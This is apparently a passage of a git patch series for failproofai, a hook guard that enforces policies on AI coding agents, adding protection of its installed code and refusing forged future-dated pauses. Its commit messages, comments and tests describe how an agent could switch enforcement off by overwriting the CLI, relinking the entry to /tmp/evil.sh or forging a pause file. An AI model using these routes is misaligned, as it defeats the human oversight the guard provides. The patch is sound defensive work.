From 886ca0e3dacd277f0e84023ffb67b601939056f9 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 15:01:25 +0530 Subject: [PATCH 01/60] [hooks] Guard failproofai's installed code and refuse future-dated pauses (FailproofAI/agenteye#1796) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit (a) The always-on guard (block-failproofai-commands) matched protected paths with /\.failproofai(?:\/|\b)/, which needs a dot the installed package path (…/node_modules/failproofai/) does not have. User-scope hooks run that package from the absolute path `which failproofai` returned, which under nvm, Homebrew, Volta, bun, pnpm and the npx cache the agent's own user can write, so a Write of process.exit(0) over dist/cli.mjs turned every later hook into an allow, machine-wide. FAILPROOFAI_CODE_PATH_RE covers node_modules/failproofai, the daemon's @failproofai/failproofaid-* package and the bin/ and pnpm/ failproofai entries, case-insensitively, and is folded into FAILPROOFAI_STATE_PATH_RE so the file tools, the shell walk, variable tracking and glob matching all see it. File tools also check the symlink-resolved target, because the bin entry is usually a link into the package. (b) A session pause capped at 8h from firstPausedAt, read from the same owner-writable file, so a forged pause dated 2100 stayed live until 2100. parseStored now refuses a start in the future (beyond a one-minute clock step) or after the latest renewal. A script the agent writes and runs can still forge an 8h pause or overwrite the CLI: everything that decides enforcement is writable by the agent's user. Documented in docs/reference/failproof-cli.mdx. Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 2 + __tests__/hooks/guard-installed-code.test.ts | 215 +++++++++++++++++++ __tests__/hooks/session-pause.test.ts | 50 +++++ docs/reference/failproof-cli.mdx | 2 +- src/hooks/builtin-policies.ts | 114 +++++++++- src/hooks/session-pause.ts | 32 ++- 6 files changed, 405 insertions(+), 10 deletions(-) create mode 100644 __tests__/hooks/guard-installed-code.test.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index d1c07e8de..40cfa2e67 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,6 +9,8 @@ ### Fixes - Releases no longer depend on the removed version-bot GitHub App. Its absence stopped the 1.0.16 npm publish at its first step and failed every post-release version bump. Nothing in CI pushes to `main` any more: each release workflow pushes its bump commit to a `version-bump/-` branch with the job's own token (`scripts/push-version-bump.sh`) and links a pre-filled pull request, which lands through review. `bump-platform-submodule.yml` is gone; Dependabot's `gitsubmodule` updates now keep `skills` current, and `platform` and `agenteye` need the same entry. `@failproofai/sdk`'s post-publish install check now reads the registry with `--prefer-online` and waits up to about 12 minutes; it had gone red on both releases even though both published. `@failproofai/sdk` opens 0.0.1-beta.3 (#1048) +- The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, to the daemon's `@failproofai/failproofaid-*` package, or to the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are the shell commands that write there. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796) +- A session pause whose recorded start is in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100 (FailproofAI/agenteye#1796) ## 1.0.16-beta.0 — 2026-11-23 diff --git a/__tests__/hooks/guard-installed-code.test.ts b/__tests__/hooks/guard-installed-code.test.ts new file mode 100644 index 000000000..b4f9e0692 --- /dev/null +++ b/__tests__/hooks/guard-installed-code.test.ts @@ -0,0 +1,215 @@ +// @vitest-environment node +import { describe, it, expect, vi, beforeAll, afterAll } from "vitest"; +import { mkdirSync, mkdtempSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { BUILTIN_POLICIES } from "../../src/hooks/builtin-policies"; +import type { PolicyContext } from "../../src/hooks/policy-types"; + +// Same mocks as state-guard.test.ts. The symlink cases below use the real +// synchronous `node:fs` on a temp directory, which these leave alone. +vi.mock("node:fs/promises", () => ({ + readFile: vi.fn(), + writeFile: vi.fn(), + stat: vi.fn().mockResolvedValue({ size: 0 }), + open: vi.fn(), +})); + +vi.mock("node:child_process", () => ({ + execSync: vi.fn(), + execFileSync: vi.fn(), +})); + +function makeCtx(overrides: Partial = {}): PolicyContext { + return { eventType: "PreToolUse", payload: {}, toolName: undefined, toolInput: undefined, ...overrides }; +} + +const policy = BUILTIN_POLICIES.find((p) => p.name === "block-failproofai-commands")!; + +const bash = async (command: string) => + (await policy.fn(makeCtx({ toolName: "Bash", toolInput: { command } }))).decision; + +const write = async (file_path: string, cwd?: string) => + policy.fn( + makeCtx({ + toolName: "Write", + toolInput: { file_path, content: "process.exit(0)\n" }, + ...(cwd ? { session: { cwd } } : {}), + }), + ); + +const edit = async (file_path: string) => + policy.fn(makeCtx({ toolName: "Edit", toolInput: { file_path, old_string: "deny(", new_string: "allow(" } })); + +/** Where the user-scope hook command's `which failproofai` lands, per install method. */ +const NVM_PKG = "/home/u/.nvm/versions/node/v22.11.0/lib/node_modules/failproofai"; +const INSTALLED_CLI = [ + ["nvm", `${NVM_PKG}/dist/cli.mjs`], + ["Homebrew node", "/opt/homebrew/lib/node_modules/failproofai/dist/cli.mjs"], + ["a system npm prefix", "/usr/local/lib/node_modules/failproofai/dist/cli.mjs"], + ["Volta", "/home/u/.volta/tools/image/packages/failproofai/lib/node_modules/failproofai/dist/cli.mjs"], + ["bun", "/home/u/.bun/install/global/node_modules/failproofai/dist/cli.mjs"], + ["the npx cache", "/home/u/.npm/_npx/0a1b2c3d4e5f6789/node_modules/failproofai/dist/cli.mjs"], + ["pnpm", "/home/u/.local/share/pnpm/global/5/.pnpm/failproofai@1.0.15/node_modules/failproofai/dist/cli.mjs"], + ["yarn", "/home/u/.config/yarn/global/node_modules/failproofai/dist/cli.mjs"], + ["a project install (npx)", "/work/proj/node_modules/failproofai/dist/cli.mjs"], +] as const; + +/** + * `block-failproofai-commands` protected failproofai's STATE (`~/.failproofai`) + * and not the CODE that reads it. User-scope hooks run the absolute path `which + * failproofai` returned, which for nvm, Homebrew, Volta, bun, pnpm and the npx + * cache is a package directory the agent's own user can write — and the hook + * client runs fresh from it on every tool call. Overwriting `dist/cli.mjs` with + * `process.exit(0)` turns every hook into an allow on the next call, for every + * session on the machine, and nothing reports it. (FailproofAI/agenteye#1796) + */ +describe("block-failproofai-commands — failproofai's installed code", () => { + describe("file tools", () => { + it.each(INSTALLED_CLI)("denies Write over the CLI installed by %s", async (_how, path) => { + const result = await write(path); + expect(result.decision).toBe("deny"); + expect(result.reason).toMatch(/failproofai's installed code/); + }); + + it("denies Edit and NotebookEdit inside the installed package", async () => { + expect((await edit(`${NVM_PKG}/dist/worker.mjs`)).decision).toBe("deny"); + expect((await edit(`${NVM_PKG}/dist/index.js`)).decision).toBe("deny"); + expect((await edit(`${NVM_PKG}/package.json`)).decision).toBe("deny"); + const notebook = await policy.fn( + makeCtx({ toolName: "NotebookEdit", toolInput: { notebook_path: `${NVM_PKG}/x.ipynb` } }), + ); + expect(notebook.decision).toBe("deny"); + }); + + // The daemon binary ships as an optional dependency, and `failproofai + // config` / `update` copies it into place — on Linux as root, under /opt. + it("denies writing the failproofaid platform package", async () => { + for (const path of [ + `${NVM_PKG}/node_modules/@failproofai/failproofaid-linux-x64/bin/failproofaid`, + "/work/proj/node_modules/@failproofai/failproofaid-darwin-arm64/bin/failproofaid", + ]) { + expect((await write(path)).decision).toBe("deny"); + } + }); + + // The hook command names the bin entry, not the package: replacing it is + // the same bypass without touching `node_modules` at all. + it.each([ + ["nvm", "/home/u/.nvm/versions/node/v22.11.0/bin/failproofai"], + ["a system npm prefix", "/usr/local/bin/failproofai"], + ["Homebrew", "/opt/homebrew/bin/failproofai"], + ["bun", "/home/u/.bun/bin/failproofai"], + ["Volta", "/home/u/.volta/bin/failproofai"], + ["yarn", "/home/u/.yarn/bin/failproofai"], + ["pnpm on Linux", "/home/u/.local/share/pnpm/failproofai"], + ["pnpm on macOS", "/Users/u/Library/pnpm/failproofai"], + ])("denies replacing the hook entry point installed by %s", async (_how, path) => { + expect((await write(path)).decision).toBe("deny"); + }); + + // macOS volumes are case-insensitive by default, so every casing of a + // protected path opens the real file. + it("matches the protected paths case-insensitively", async () => { + expect((await write("/Users/u/.nvm/versions/node/v22.11.0/lib/node_modules/FailproofAI/dist/cli.mjs")).decision).toBe("deny"); + expect((await write("/opt/homebrew/bin/FAILPROOFAI")).decision).toBe("deny"); + expect((await write("/Users/u/.FailproofAI/policies-config.json")).decision).toBe("deny"); + }); + + it("sees through separators a path resolver collapses", async () => { + expect((await write("/usr/local/lib/node_modules//failproofai/dist/cli.mjs")).decision).toBe("deny"); + expect((await write("/usr/local/lib/node_modules/./failproofai/dist/cli.mjs")).decision).toBe("deny"); + }); + + describe("through links", () => { + let root: string; + let pkg: string; + + beforeAll(() => { + root = mkdtempSync(join(tmpdir(), "fpai-guard-")); + pkg = join(root, "lib", "node_modules", "failproofai"); + mkdirSync(join(pkg, "dist"), { recursive: true }); + writeFileSync(join(pkg, "dist", "cli.mjs"), "// real cli\n"); + mkdirSync(join(root, "elsewhere"), { recursive: true }); + // Neither link's own path says anything about failproofai. + symlinkSync(join(pkg, "dist", "cli.mjs"), join(root, "elsewhere", "tool.mjs")); + symlinkSync(pkg, join(root, "elsewhere", "pkg")); + }); + + afterAll(() => { + rmSync(root, { recursive: true, force: true }); + }); + + // A file tool writes THROUGH a symlink, so the path it was given is not + // the path it changes. npm, nvm and bun all install the bin entry as one. + it("denies a write whose symlink lands in the installed package", async () => { + const result = await write(join(root, "elsewhere", "tool.mjs")); + expect(result.decision).toBe("deny"); + expect(result.reason).toMatch(/failproofai's installed code/); + }); + + it("denies creating a new file under a linked package directory", async () => { + expect((await write(join(root, "elsewhere", "pkg", "dist", "new-entry.mjs"))).decision).toBe("deny"); + }); + + it("resolves a relative path against the session's cwd", async () => { + expect((await write("elsewhere/tool.mjs", root)).decision).toBe("deny"); + }); + + it("still allows an ordinary file next to the links", async () => { + expect((await write(join(root, "elsewhere", "notes.md"))).decision).toBe("allow"); + }); + }); + + // Not a general file-write blocker: the package directory and the bin + // entry, and nothing that merely carries the name. + it.each([ + ["a source file in a failproofai checkout", "/home/u/src/failproofai/src/hooks/builtin-policies.ts"], + ["the checkout's own bin script", "/home/u/src/failproofai/bin/failproofai.mjs"], + ["the checkout's own build output", "/home/u/src/failproofai/dist/cli.mjs"], + ["another package's file", "/work/proj/node_modules/react/index.js"], + ["a package that only shares a prefix", "/work/proj/node_modules/failproofai-extras/index.js"], + ["the TypeScript SDK", "/work/proj/node_modules/@failproofai/sdk/dist/index.js"], + ["a project file named after the product", "/work/proj/src/failproofai.ts"], + ])("allows writing %s", async (_label, path) => { + expect((await write(path)).decision).toBe("allow"); + }); + }); + + describe("shell commands", () => { + it.each([ + ["a copy over the CLI", `cp /tmp/x.mjs ${NVM_PKG}/dist/cli.mjs`], + ["a move over the CLI", `mv /tmp/x.mjs ${NVM_PKG}/dist/cli.mjs`], + ["a redirect over the CLI", `cat /tmp/x.mjs > ${NVM_PKG}/dist/cli.mjs`], + ["an in-place sed", `sed -i 's/deny(/allow(/' ${NVM_PKG}/dist/cli.mjs`], + ["tee into the worker", `tee ${NVM_PKG}/dist/worker.mjs < /tmp/x.mjs`], + ["removing the package", `rm -rf ${NVM_PKG}`], + ["an interpreter writing the CLI", `python3 -c "open('${NVM_PKG}/dist/cli.mjs','w').write('')"`], + ["cd into the package, then delete", `cd ${NVM_PKG} && rm -rf dist`], + ["a project install", "rm -rf node_modules/failproofai"], + ["a glob onto a project install", "rm -rf node_modules/fail*"], + ["relinking the hook entry", "ln -sf /tmp/evil.sh /home/u/.nvm/versions/node/v22.11.0/bin/failproofai"], + ["copying over the hook entry", "cp /tmp/evil.sh /usr/local/bin/failproofai"], + ["installing over the hook entry", "install -m 755 /tmp/evil.sh /home/u/.bun/bin/failproofai"], + ])("denies %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + it.each([ + ["reading the package manifest", `cat ${NVM_PKG}/package.json`], + ["listing the build", `ls -la ${NVM_PKG}/dist`], + ["searching the build", "grep -rn block-failproofai-commands node_modules/failproofai/dist"], + ["hashing the CLI", `sha256sum ${NVM_PKG}/dist/cli.mjs`], + ["resolving the hook entry", "readlink -f /home/u/.nvm/versions/node/v22.11.0/bin/failproofai"], + ["backing the package up", "cp -r node_modules/failproofai /tmp/fp-backup"], + ["a clean reinstall", "rm -rf node_modules && npm ci"], + ["clearing every dependency", "rm -rf node_modules/*"], + ["clearing a build cache", "rm -rf node_modules/.cache"], + ["removing a checkout of the repo", "rm -rf /home/u/src/failproofai"], + ["cloning the repo", "git clone https://github.com/FailproofAI/failproofai"], + ["asking the registry", "npm view failproofai version"], + ])("allows %s", async (_label, command) => { + expect(await bash(command)).not.toBe("deny"); + }); + }); +}); diff --git a/__tests__/hooks/session-pause.test.ts b/__tests__/hooks/session-pause.test.ts index 9ef3c0081..55e0697f5 100644 --- a/__tests__/hooks/session-pause.test.ts +++ b/__tests__/hooks/session-pause.test.ts @@ -206,6 +206,56 @@ describe("pause state", () => { // And it is genuinely inert once the ceiling passes. expect(readActivePause("sess-h", start + PAUSE_CEILING_MS + 1)).toBeNull(); }); + + // The clamp above measures the ceiling from `firstPausedAt`, which comes from + // the same file. Moving the START out of reach moved the ceiling with it: a + // file dated 2100 read as live on every tool call until then — a single forged + // write that outlasted every session on the machine (FailproofAI/agenteye#1796). + describe("a pause that claims to start in the future", () => { + const forge = (fields: Record) => { + writePause({ sessionId: "sess-f", durationMs: 60_000, now: 1_000 }); + const [file] = readdirSync(pauseStateDir()); + writeFileSync( + resolve(pauseStateDir(), file), + JSON.stringify({ schemaVersion: 1, sessionId: "sess-f", setBy: "cli", ...fields }), + ); + }; + const now = Date.UTC(2026, 10, 24); + const year2100 = Date.UTC(2100, 0, 1); + + it("is not a pause at all", () => { + forge({ pausedAt: year2100, firstPausedAt: year2100, expiresAt: year2100 }); + expect(readActivePause("sess-f", now)).toBeNull(); + expect(readActivePause("sess-f", now + 30 * 24 * 3_600_000)).toBeNull(); + expect(listActivePauses(now)).toEqual([]); + }); + + it("is refused when only the start of the run is in the future", () => { + forge({ pausedAt: now, firstPausedAt: year2100, expiresAt: now + 60_000 }); + expect(readActivePause("sess-f", now)).toBeNull(); + }); + + it("is refused when the run starts after its latest renewal", () => { + forge({ pausedAt: now - 60_000, firstPausedAt: now - 1_000, expiresAt: now + 60_000 }); + expect(readActivePause("sess-f", now)).toBeNull(); + }); + + // The writer and the reader share one clock, so a legitimate file is never + // ahead of it by more than a clock correction. Refusing would only ever turn + // enforcement back ON, but a pause that vanishes after a small clock step + // would just be re-issued, so a minute of slack costs nothing. + it("tolerates a small clock step backwards", () => { + forge({ pausedAt: now + 30_000, firstPausedAt: now + 30_000, expiresAt: now + 90_000 }); + expect(readActivePause("sess-f", now)?.expiresAt).toBe(now + 90_000); + }); + + it("never lets a forged start carry into a real renewal", () => { + forge({ pausedAt: year2100, firstPausedAt: year2100, expiresAt: year2100 }); + const renewed = writePause({ sessionId: "sess-f", durationMs: 60_000, now }); + expect(renewed.firstPausedAt).toBe(now); + expect(renewed.expiresAt).toBe(now + 60_000); + }); + }); }); describe("formatDuration", () => { diff --git a/docs/reference/failproof-cli.mdx b/docs/reference/failproof-cli.mdx index e27e98466..e672159be 100644 --- a/docs/reference/failproof-cli.mdx +++ b/docs/reference/failproof-cli.mdx @@ -99,7 +99,7 @@ Run `failproofai` without arguments to open the local policy dashboard. | `--session ` | Target an explicit session for pause or resume | | `--all` | With `--resume`, end every active pause | -Local pauses suspend builtin, custom, convention, and pack policies for one session. They always expire and do not disable Cloud-managed policies. `block-failproofai-commands` — which is always on and cannot itself be disabled or paused — prevents an instrumented agent from using this escape hatch itself. +Local pauses suspend builtin, custom, convention, and pack policies for one session. They always expire, at most 8 hours after the first pause in a run, and they do not disable Cloud-managed policies or `block-failproofai-commands`, which is always on and cannot itself be disabled or paused. That guard refuses the direct ways an instrumented agent could pause itself: running `failproofai config --pause`, or writing the pause file under `~/.failproofai/state/sessions/`. It reads commands, not what a script does when it runs, so a script the agent writes and then runs can still reach the same state. A pause file is checked for a bounded expiry and a start that is not in the future, not for who wrote it. ## Policy flags diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 16402d333..7c62bc41c 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -1,8 +1,8 @@ /** * Built-in security policies for Claude Code hooks. */ -import { resolve, join } from "node:path"; -import { statSync } from "node:fs"; +import { resolve, join, dirname, basename, isAbsolute } from "node:path"; +import { realpathSync, statSync } from "node:fs"; import { readFile, writeFile } from "node:fs/promises"; import { execSync, execFileSync } from "node:child_process"; import { homedir } from "node:os"; @@ -462,12 +462,87 @@ const GIT_COMMIT_MERGE_RE = /git\s+(commit|merge|rebase|cherry-pick)\b/; // blockFailproofaiCommands /** - * A command that removes or moves failproofai's own state. + * failproofai's INSTALLED CODE: the package a hook command runs, and the bin + * entry that names it. + * + * User-scope hooks run the absolute path `which failproofai` returned at + * install time. Under nvm, Homebrew, Volta, bun, pnpm and the npx cache that is + * a package directory the agent's own user can write, and the hook client runs + * fresh from it on every tool call — so `process.exit(0)` written over + * `dist/cli.mjs` turned every later hook into an allow, for every session on + * the machine, with nothing reporting it. The daemon cannot catch that: a + * tampered client never asks it. The state pattern below needs a `.` the + * package path does not have (FailproofAI/agenteye#1796). + * + * - `node_modules/failproofai`, in every layout a package manager uses — and + * `node_modules/@failproofai/failproofaid-*`, the daemon's platform package, + * which `failproofai config` and `update` copy into place (on Linux as root, + * under `/opt`). + * - `…/bin/failproofai`, the entry npm, nvm, Homebrew, bun, Volta and yarn put + * on PATH, and `…/pnpm/failproofai`, which pnpm puts directly in its home. + * + * A checkout of this repository matches neither — no `node_modules` above it, + * and its entry is `bin/failproofai.mjs` — so the guard does not stand in front + * of working on failproofai itself. `node_modules/.bin/failproofai`, the stub + * `npx` prefers, is not matched here either (FailproofAI/agenteye#1795). + * + * Case-insensitive because macOS volumes are by default: every casing of these + * paths opens the real file. `(?:\.?[\\/])*` absorbs the `//` and `/./` a path + * resolver collapses. + */ +const FAILPROOFAI_CODE_PATH_RE = + /node_modules[\\/](?:\.?[\\/])*(?:failproofai(?![\w.@-])|@failproofai[\\/](?:\.?[\\/])*failproofaid\b)|[\\/](?:bin|pnpm)[\\/](?:\.?[\\/])*failproofai(?:\.cmd|\.ps1)?(?![\w.@-])/i; + +/** + * failproofai's own files: its state, and the installed code above. + * + * Named for the state, which came first. The code joined it because writing + * over it switches enforcement off as completely as deleting the state does, + * and every use of this pattern — the file tools, the shell walk, the variable + * and glob tracking — has to see both. * * Named separately from the binary walk because it never mentions the binary: * the target is a path, and the verb is an ordinary file command. */ -const FAILPROOFAI_STATE_PATH_RE = /\.failproofai(?:\/|\b)/; +const FAILPROOFAI_STATE_PATH_RE = new RegExp( + String.raw`\.failproofai(?:\/|\b)|` + FAILPROOFAI_CODE_PATH_RE.source, + "i", +); + +/** Which of failproofai's own files `path` names, for a deny message that says which. */ +function failproofaiFileKind(path: string): "state" | "code" | null { + if (!path || !FAILPROOFAI_STATE_PATH_RE.test(path)) return null; + return FAILPROOFAI_CODE_PATH_RE.test(path) ? "code" : "state"; +} + +/** + * The file a write to `path` actually changes, every symlink resolved. + * + * A file tool writes THROUGH a link, so the path it is handed is not + * necessarily the one it changes — and npm, nvm and bun install the + * `failproofai` bin entry as exactly such a link into the package. A tail that + * does not exist yet (a file about to be created) is re-attached to the deepest + * ancestor that does, so a new file under a linked directory resolves too. A + * relative path is taken from the session's directory, not this process's: the + * daemon's worker runs somewhere else entirely. + * + * "" when nothing resolves. Never throws — this runs for every file write. + */ +function resolveWriteTarget(path: string, cwd: string | undefined): string { + let current = isAbsolute(path) ? path : path && cwd ? join(cwd, path) : ""; + const missing: string[] = []; + for (let depth = 0; current && depth < 64; depth++) { + try { + return join(realpathSync(current), ...missing); + } catch { + const parent = dirname(current); + if (parent === current) break; + missing.unshift(basename(current)); + current = parent; + } + } + return ""; +} /** * Everything the state guard is allowed to let PAST, as a list of commands that @@ -702,6 +777,18 @@ const STATE_GLOB_CANDIDATES = [ "/root/.failproofai", "/home/u/.failproofai", "/Users/u/.failproofai", + // The installed code (FAILPROOFAI_CODE_PATH_RE): a project install, and the + // global locations whose prefix is the same on every machine. nvm's version + // directory and the npx cache's hash are not, so a glob under those is not one + // this list can anticipate; the literal paths there still match. + "node_modules/failproofai", + "/usr/local/lib/node_modules/failproofai", + "/usr/lib/node_modules/failproofai", + "/opt/homebrew/lib/node_modules/failproofai", + "/usr/local/bin/failproofai", + "/opt/homebrew/bin/failproofai", + "~/.bun/bin/failproofai", + "~/.volta/bin/failproofai", ]; /** @@ -719,6 +806,11 @@ const GLOB_DECOYS = [ "~/.config", "~/.cache", "$HOME/.config", "${HOME}/.cache", "/home/u/.config", "/Users/u/.config", "/root/.cache", "/tmp/build", "a", "foo.txt", "test-failures", + // Neighbours of the installed-code candidates, so `rm -rf node_modules/*` and + // its global equivalents are read as the sweeps they are. + "node_modules/react", "node_modules/.bin", + "/usr/local/lib/node_modules/npm", "/usr/lib/node_modules/npm", "/opt/homebrew/lib/node_modules/npm", + "/usr/local/bin/node", "/opt/homebrew/bin/node", "~/.bun/bin/bun", "~/.volta/bin/node", ]; /** @@ -2456,7 +2548,17 @@ function blockFailproofaiCommands(ctx: PolicyContext): PolicyResult { // so naming the state at all is the whole test. if (ctx.toolName === "Write" || ctx.toolName === "Edit" || ctx.toolName === "NotebookEdit") { const path = getFilePath(ctx) || ((ctx.toolInput?.notebook_path as string) ?? ""); - if (FAILPROOFAI_STATE_PATH_RE.test(path)) { + // The path as given AND the file it lands on. The bin entry a user-scope + // hook runs is usually a symlink into the package, so writing through it + // changes the hook's code without the package's path ever being named. + const kind = failproofaiFileKind(path) ?? failproofaiFileKind(resolveWriteTarget(path, ctx.session?.cwd)); + if (kind === "code") { + return deny( + "Writing to failproofai's installed code would switch enforcement off. " + + "If a policy is blocking legitimate work, say so and let the operator decide.", + ); + } + if (kind === "state") { return deny( "Writing to failproofai's own state would switch enforcement off. " + "If a policy is blocking legitimate work, say so and let the operator decide.", @@ -2492,7 +2594,7 @@ function blockFailproofaiCommands(ctx: PolicyContext): PolicyResult { // matcher and a real path to the shell. if (destroysFailproofaiState(cmd) || destroysFailproofaiState(unescaped)) { return deny( - "Deleting, moving or overwriting failproofai's own state would switch enforcement off. " + + "Deleting, moving or overwriting failproofai's own state or installed code would switch enforcement off. " + "If a policy is blocking legitimate work, say so and let the operator decide.", ); } diff --git a/src/hooks/session-pause.ts b/src/hooks/session-pause.ts index c5da82ccc..5af52fd59 100644 --- a/src/hooks/session-pause.ts +++ b/src/hooks/session-pause.ts @@ -20,6 +20,14 @@ * stale file is therefore inert rather than dangerous — the failure mode worth * engineering against is not "the pause didn't work", it is "the pause silently * never ended". + * + * What this file does NOT give is unforgeability. The directory is owner- + * writable, and so is everything else that decides enforcement on this machine + * — the agent's hook config, the installed CLI, the interpreter that runs it — + * so anything running as the user, an agent's own script included, can write a + * pause here. The always-on guard refuses the direct routes; what the reader + * enforces is that one write buys at most the ceiling, measured from a start + * that cannot lie in the future (FailproofAI/agenteye#1796). */ import { existsSync, mkdirSync, readdirSync, readFileSync, rmSync } from "node:fs"; import { createHash } from "node:crypto"; @@ -126,7 +134,16 @@ export function formatDuration(ms: number): string { return rest === 0 ? `${hours}h` : `${hours}h${rest}m`; } -function parseStored(raw: unknown): StoredPause | null { +/** + * How far a pause's recorded start may sit ahead of the reader's clock. + * + * The CLI that writes a pause and the hook that reads it share one clock, so a + * genuine file is ahead of it only after a clock correction — a minute covers + * that. Anything further was not written by `writePause` on this machine. + */ +const CLOCK_STEP_ALLOWANCE_MS = 60_000; + +function parseStored(raw: unknown, now: number): StoredPause | null { if (!raw || typeof raw !== "object") return null; const p = raw as Partial; if (p.schemaVersion !== SCHEMA_VERSION) return null; @@ -136,6 +153,15 @@ function parseStored(raw: unknown): StoredPause | null { // A file written before this field existed measures its ceiling from the // only start it recorded. Same meaning for a pause that was never renewed. const firstPausedAt = Number.isFinite(p.firstPausedAt) ? (p.firstPausedAt as number) : pausedAt; + // The ceiling below is measured from the run's start, and the start comes + // from this same owner-writable file — so a start in the future carried the + // ceiling with it. A file dated 2100 read as live on every tool call until + // 2100 (FailproofAI/agenteye#1796). `writePause` only ever records `now`, and + // a renewal keeps the earlier start, so a start after the renewal or ahead of + // the clock is not a pause this CLI wrote. Refused rather than clamped: + // clamping the start to `now` would restart the ceiling on every read, and + // refusing errs toward enforcement. + if (firstPausedAt > pausedAt || pausedAt > now + CLOCK_STEP_ALLOWANCE_MS) return null; return { schemaVersion: SCHEMA_VERSION, sessionId: p.sessionId, @@ -165,7 +191,7 @@ export function readActivePause(sessionId: string | undefined, now = Date.now()) try { const path = pauseFilePath(sessionId); if (!existsSync(path)) return null; - const stored = parseStored(JSON.parse(readFileSync(path, "utf8"))); + const stored = parseStored(JSON.parse(readFileSync(path, "utf8")), now); if (!stored) return null; if (stored.expiresAt <= now) return null; // expired — inert, not dangerous const { schemaVersion: _ignored, ...pause } = stored; @@ -228,7 +254,7 @@ export function listActivePauses(now = Date.now()): ActivePause[] { for (const name of names) { if (!name.endsWith(".json")) continue; try { - const stored = parseStored(JSON.parse(readFileSync(join(dir, name), "utf8"))); + const stored = parseStored(JSON.parse(readFileSync(join(dir, name), "utf8")), now); if (!stored || stored.expiresAt <= now) continue; const { schemaVersion: _ignored, ...pause } = stored; out.push(pause); From 18328b0d05ee4787a4646268060ac519884ab61e Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 15:16:23 +0530 Subject: [PATCH 02/60] [hooks] Address review: kernel-order symlink walk, pnpm store, $NVM_BIN, pause renewal and --resume --all MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - resolveWriteTarget walks the path one component at a time with lstat and readlink. Node's realpathSync collapses `..` as text before following links, so a Write to `/../dist/cli.mjs` resolved to a harmless path while open(2) wrote the CLI. It also expands `~`, and a non-string file_path no longer throws (a throw drops the always-on guard from the evaluation). - The installed-code pattern covers pnpm's virtual store (`.pnpm/failproofai@…`, `.pnpm/@failproofai+failproofaid…@…`) and the entry through `$NVM_BIN` / `$PNPM_HOME`; a directory named failproofai under bin/ is no longer read as the entry file. Glob candidates for `./node_modules/failproofai` and pnpm's store, with decoys. - writePause keeps the run's start no later than the renewal, so a renewal right after a small clock step back is not refused by the reader. - `config --resume --all` removes every pause file, including one dated in the future that is not honoured yet and would otherwise turn live later. Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 4 +- __tests__/hooks/guard-installed-code.test.ts | 36 +++++ __tests__/hooks/session-pause-cli.test.ts | 12 ++ __tests__/hooks/session-pause.test.ts | 21 +++ src/hooks/builtin-policies.ts | 136 +++++++++++++------ src/hooks/session-pause-cli.ts | 6 +- src/hooks/session-pause.ts | 33 ++++- 7 files changed, 199 insertions(+), 49 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 40cfa2e67..517b19a86 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,8 +9,8 @@ ### Fixes - Releases no longer depend on the removed version-bot GitHub App. Its absence stopped the 1.0.16 npm publish at its first step and failed every post-release version bump. Nothing in CI pushes to `main` any more: each release workflow pushes its bump commit to a `version-bump/-` branch with the job's own token (`scripts/push-version-bump.sh`) and links a pre-filled pull request, which lands through review. `bump-platform-submodule.yml` is gone; Dependabot's `gitsubmodule` updates now keep `skills` current, and `platform` and `agenteye` need the same entry. `@failproofai/sdk`'s post-publish install check now reads the registry with `--prefer-online` and waits up to about 12 minutes; it had gone red on both releases even though both published. `@failproofai/sdk` opens 0.0.1-beta.3 (#1048) -- The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, to the daemon's `@failproofai/failproofaid-*` package, or to the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are the shell commands that write there. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796) -- A session pause whose recorded start is in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100 (FailproofAI/agenteye#1796) +- The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796) +- A session pause whose recorded start is in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet (FailproofAI/agenteye#1796) ## 1.0.16-beta.0 — 2026-11-23 diff --git 